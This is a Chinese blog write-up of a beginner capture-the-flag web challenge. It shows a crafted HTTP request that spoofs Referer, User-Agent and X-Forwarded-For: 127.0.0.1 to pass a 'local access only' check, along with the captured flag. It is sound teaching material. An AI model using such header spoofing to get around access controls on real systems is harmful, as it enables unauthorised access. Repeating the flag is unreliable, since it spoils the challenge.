[极客大挑战 2019]Http

最新推荐文章于 2025-06-10 18:31:30 发布

黑仔丶

最新推荐文章于 2025-06-10 18:31:30 发布

阅读量569

点赞数

CC 4.0 BY-SA版权

分类专栏： CTF--纸上谈兵文章标签： http

本文链接：https://blog.youkuaiyun.com/qq_42404383/article/details/108611132

CTF--纸上谈兵专栏收录该内容

16 篇文章

订阅专栏

本文通过一个具体的案例，详细解析了如何利用X-Forwarded-For字段进行HTTP头注入攻击，揭示了这一安全漏洞的原理及应对策略。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

文章目录

[极客大挑战 2019]Http

[极客大挑战 2019]Http

题目：

在这里插入图片描述

分析：

根据题目HTTP字眼 ==> HTTP头注入？？？不应该，先按照题目提示来，改下请求头？
在这里插入图片描述

本地？？？ ==> 怎判判断本地？？？ ==> x-forwardfor???

X-Forwarded-For 是一个 HTTP 扩展头部。HTTP/1.1（RFC 2616）协议并没有对它的定义，它最开始是由 Squid 这个缓存代理软件引入，用来表示 HTTP 请求端真实 IP。如今它已经成为事实上的标准，被各大 HTTP 代理、负载均衡等转发服务广泛使用，并被写入 RFC 7239（Forwarded HTTP Extension）标准之中。

X-Forwarded-For 请求头格式非常简单，就这样：
X-Forwarded-For: client, proxy1, proxy2

试试
在这里插入图片描述

解题：

GET /Secret.php HTTP/1.1
Host: node3.buuoj.cn:29319
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
User-Agent: Syclover
Referer: https://www.Sycsecret.com
X-Forwarded-For: 127.0.0.1
Upgrade-Insecure-Requests: 1

flag{fb5928de-1953-4a21-a63a-9141e7aefaa3}

总结：

ag{fb5928de-1953-4a21-a63a-9141e7aefaa3}

很基础的知识，考的HTTP请求头，还好学开发时学过了，解题很顺畅。